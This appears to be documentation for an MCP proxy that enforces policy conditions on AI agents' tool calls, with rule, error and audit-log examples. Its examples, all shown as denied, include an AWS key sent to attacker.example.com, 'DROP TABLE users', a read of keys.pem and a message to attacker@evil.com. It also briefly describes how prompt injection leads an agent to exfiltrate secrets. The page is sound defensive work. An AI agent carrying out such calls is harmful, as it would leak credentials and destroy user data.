Conditions
- sequenceBlock
- argumentSchema
- allowedValues
- allowedOperations
- allowedExtensions
- allowedTables
- maxCalls
- timeWindow
- ipRange
- recipientDomain
- policy (external backends)
- custom (handler hooks)
Directives
Observability
Every condition runs before the upstream is contacted.
Decisions return a structured JSON-RPC error with a stable integer code
(-32001 AUTHORIZATION_FAILED,
-32002 CAPABILITY_DENIED,
-32003 CONDITION_FAILED,
-32602 INVALID_PARAMS), the conditionType that
fired, and a human-readable message — so agents and operators can both
reason about the outcome. Directives (e.g. redactFields)
are obligations applied after an allowed response, before it
reaches the agent.
sequenceBlock — cross-tool session memory
The condition no other layer can express: deny a tool after another tool has run in the same session. This is the defense against the lethal trifecta — an agent that can read secrets and reach an external destination is one prompt injection away from exfiltrating them. Each call is individually authorized; eunox blocks the combination. A database role or API gateway can't see it — only the proxy remembers what the agent already did this session.
Block credential exfiltration (read → write)
sequenceBlocktools/call read_credentials { name: "aws" } # allowed tools/call write_external { # DENIED url: "https://attacker.example.com", data: "AKIA..." }
- target: tool:read_credentials actions: [call] - target: tool:write_external actions: [call] conditions: - type: sequenceBlock afterTools: [read_credentials]
CONDITION_FAILED (JSON-RPC
-32003) · write_external after read_credentials
— upstream never contacted, the kill-chain signed into the audit log.
The reverse order (write before read) stays allowed. Run it:
make -C demo trifecta.
argumentSchema — JSON Schema validation
Validate the shape of the agent's arguments before anything else runs. The structured error details are surfaced in the MCP response.
Reject a malformed send_email call
argumentSchema
tools/call send_email { to: "alice@example.com", body: 42 # wrong type }
# argumentSchema is a top-level field on the capability constraint, # not a `conditions[]` entry. The schema body goes here directly. - target: tool:send_email actions: [call] argumentSchema: type: object required: [to, body] properties: to: { type: string } body: { type: string, maxLength: 10000 } additionalProperties: false
INVALID_PARAMS (JSON-RPC
-32602) · body must be string — upstream
never contacted. argumentSchema runs before any
conditions[]; a schema failure always wins.
allowedValues — argument value / glob allowlist
The workhorse condition: pin a named argument to a fixed set of scalar
values, or to glob patterns. String values match as globs — a single
* stays within a path segment, ** crosses
/ — so "/reports/*" admits
/reports/q3.pdf but not /internal/keys.pem.
This is the condition behind the canonical
"read_file only under /reports/" policy.
Confine read_file to /reports/
allowedValues
tools/call read_file {
path: "/internal/keys.pem"
}
- target: tool:read_file actions: [call] conditions: - type: allowedValues argument: path values: ["/reports/*"]
VALUE_NOT_PERMITTED (JSON-RPC
-32003) · /internal/keys.pem ∉ [/reports/*]
— upstream never contacted. A missing path argument fails
closed with MISSING_CONTEXT; string values match by glob
only (never exact-first), so values: ["*"] is the explicit
allow-any-string wildcard.
allowedOperations — SQL verb allowlist
The classic database guardrail: only let agents run reads. The first whitespace-separated word of the input is matched against the allowlist.
Block DROP TABLE
allowedOperations
tools/call query_db {
sql: "DROP TABLE users"
}
conditions: - type: allowedOperations argument: sql operations: [SELECT]
OPERATION_NOT_PERMITTED
(JSON-RPC -32003) ·
operation DROP not in [SELECT]. Note this is a
first-word guard — pair with argumentSchema for
stricter SQL parsing if you need it.
allowedExtensions — file extension allowlist
Constrain what file types an agent can touch. The required
argument field names the path parameter to check (a single
path, or an array of paths).
Block reading a private key
allowedExtensionstools/call read_file {
path: "/data/keys.pem"
}
conditions: - type: allowedExtensions argument: path extensions: [".csv", ".json", ".txt", ".md"]
CONDITION_FAILED (JSON-RPC
-32003, conditionType allowedExtensions) ·
.pem ∉ allowedExtensions.
allowedTables — database table allowlist
Restrict which tables an agent can read or write to. The required
argument field names the parameter carrying the table
name(s) — a string, an array, or a {table, columns} object.
Block writes to credentials
allowedTables
tools/call insert_row {
table: "credentials",
row: { ... }
}
conditions: - type: allowedTables argument: table tables: [orders, customers, products]
CONDITION_FAILED (JSON-RPC
-32003, conditionType allowedTables) ·
credentials ∉ allowedTables.
maxCalls — per-session rate limit
Stop a runaway agent from making thousands of writes in a tight loop. Counter resets when the window expires.
Cap GitHub write tools
maxCallstools/call create_issue { ... } ✓ 1/10 tools/call create_issue { ... } ✓ 2/10 ... tools/call create_issue { ... } ✓ 10/10 tools/call create_issue { ... } ✗ rate limited
conditions: - type: maxCalls count: 10 windowSeconds: 60
RATE_LIMITED (JSON-RPC
-32003) · 10 calls/60s exhausted.
timeWindow — wall-clock gate
notBefore / notAfter for time-bound
capabilities (e.g. a maintenance window).
Only during the maintenance window
timeWindowtools/call truncate_logs { ... }
conditions: - type: timeWindow notBefore: "2026-05-09T01:00:00Z" notAfter: "2026-05-09T03:00:00Z"
CONDITION_FAILED (JSON-RPC
-32003, conditionType timeWindow) ·
now=09:15 not in [01:00, 03:00].
ipRange — source-IP CIDR allowlist
HTTP transport only — stdio sessions have no source IP. Useful for caller-network controls in shared environments.
Lock a tool to corp egress
ipRangesourceIp: 203.0.113.7 tools/call rotate_token { ... }
conditions: - type: ipRange cidrs: ["10.0.0.0/8", "192.168.0.0/16"]
CONDITION_FAILED (JSON-RPC
-32003, conditionType ipRange). With a stdio
session there is no source IP, so the same condition fails closed with
MISSING_CONTEXT — reason
"ipRange requires sourceIp in request context".
recipientDomain — email / handle allowlist
Stop accidental data exfiltration over messaging tools. The required
argument field names the recipient parameter to check — a
string or an array of strings.
Slack DM only to your domain
recipientDomaintools/call send_message {
to: "attacker@evil.com",
text: "..."
}
conditions: - type: recipientDomain argument: to domains: [company.com]
CONDITION_FAILED (JSON-RPC
-32003, conditionType recipientDomain) ·
evil.com ∉ allowlist.
redactFields — mask fields in upstream responses
A post-allow directive: the call is allowed, but the named JSON paths
are masked in the upstream response — each value replaced with
"[redacted]", the key kept — before the agent sees it.
redactFields lives in a top-level
directives[] array on the constraint —
not inside conditions[]. An unparseable
upstream response is never returned unredacted; a sanitized error is
sent to the caller instead.
Hide PII from query results
redactFields
{
"rows": [
{ "id": 1,
"email": "alice@example.com",
"ssn": "123-45-6789" },
...
]
}
- target: tool:query_db actions: [call] # directives run after an allowed response directives: - type: redactFields fields: ["rows.ssn", "rows.email"]
"[redacted]" (recursively
into array elements); the original is never seen by the agent. A field
absent from the response is a no-op.
policy — delegate to an external engine (Go SDK)
Plug in OPA, Cedar, an authorization service, or any sidecar. Implement
enforcement.PolicyEvaluator and wire it into the engine at
construction time. Available via pkg/enforcement for
in-process Go services.
OPA-backed authorization
policy// implement enforcement.PolicyEvaluator
type OPAEvaluator struct { Path string }
func (o *OPAEvaluator) Evaluate(
ctx context.Context,
cfg map[string]any,
req *capability.EnforceRequest,
) (*enforcement.PolicyResult, error) {
ok, err := opa.Eval(o.Path, req)
if !ok {
return &enforcement.PolicyResult{
Allow: false, Reason: "opa: denied",
}, err
}
return &enforcement.PolicyResult{Allow: true}, nil
}
# eunox.policy.yaml conditions: - type: policy backend: opa config: path: data.tools.allow // wire in Go engine := enforcement.New( enforcement.WithPolicyEvaluator( &OPAEvaluator{Path: "data.tools.allow"}, ), )
custom — register your own condition types (Go SDK)
Need something specific to your domain? Implement
enforcement.ConditionHandler and register it with the
engine by name. Any policy entry with type: custom and a
matching name resolves to your handler.
Block recipients on a deny-list
customenforcement.New(
enforcement.WithConditionHandler(
capability.ConditionTypeCustom,
enforcement.ConditionHandlerFunc(
func(ctx context.Context,
cond capability.Condition,
req *capability.EnforceRequest,
) *enforcement.ConditionError {
cc := cond.(*capability.CustomCondition)
if cc.Name == "denyBlockedRecipient" &&
BLOCKLIST.Has(req.Arguments["to"]) {
return &enforcement.ConditionError{
Code: "RECIPIENT_BLOCKED",
Message: "recipient blocked",
}
}
return nil // allow
},
),
),
)
conditions: - type: custom name: denyBlockedRecipient config: {}
OCSF audit log
Every decision is recorded as an OCSF API Activity event (class_uid
6003), HMAC-SHA256-signed with a key under
~/.eunox/audit.key (mode 0600). The log lives at
~/.eunox/audit.jsonl and rotates at 100 MiB; rotated files
are named audit.jsonl.<ISO-timestamp>.
In gateway mode, each
record is additionally stamped with the handling upstream,
the in-force policy_version, and a policy_sha256
digest — so one shared tape proves which policy version of which
upstream decided each call.
Inspect & verify
audit$ tail -F ~/.eunox/audit.jsonl | jq $ eunox-mcp stats denial histogram (since rotation): allowedExtensions 12 ███████ allowedOperations 7 ████ recipientDomain 3 ██ argumentSchema 1 █
{
"class_uid": 6003,
"metadata": {
"uid": "ev-7b…",
"version": "1.4.0"
},
"activity_id": 2,
"status_id": 2,
"api": { "operation":
"tools/call:read_file" },
"src_endpoint": { "ip": "stdio" },
"raw_data": "<canonical-json>",
"signature": "<hmac-sha256>"
}
verifyAuditEvent() recomputes
HMAC(key, SHA-256(canonical-json)) for round-trip
integrity checks.
Go packages — same enforcement, in-process
All Apache-2.0. Services can evaluate manifests without shelling out to a separate proxy process.
-
pkg/capability— manifest and condition types. -
pkg/enforcement— enforcement engine and decision flow. -
pkg/callcounter— per-session call counters formaxCalls.
If a service evaluates a manifest that only allows SELECT,
the same OPERATION_NOT_PERMITTED decision is raised before
any database call is made.
eunox-mcp,
pkg/capability, and pkg/enforcement — exactly
one shape, zero drift between the proxy and the rest of the system.